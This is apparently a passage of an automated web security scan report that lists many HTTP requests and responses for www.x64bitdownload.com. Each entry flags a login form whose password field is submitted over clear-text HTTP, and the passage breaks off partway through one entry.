HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:32 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:58 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-forums-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87175
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-google-groups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22google-groups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22google+groups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81360
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98790
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-group-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86955
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-groups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22groups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22groups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-highspeed-connection-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22highspeed-connection%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22highspeed+connection%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32070
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-image-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22image-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22image+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91637
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-images-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91682
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-internet-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 39465
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-internet-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93902
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-kill-file-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:56:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22kill-file%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22kill+file%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93504
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-killfile-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28388
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-mp3-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94965
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-multimedia-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:19 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92538
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-multipart-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:39 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73514
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-news-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:35 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 42617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-news-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86979
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-news-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:32 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22news-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22news+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94415
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-newsfeed-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:58:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37199
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-newsgroup-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36453
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-newsgroup-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76091
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /64-bit-newsgroups-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
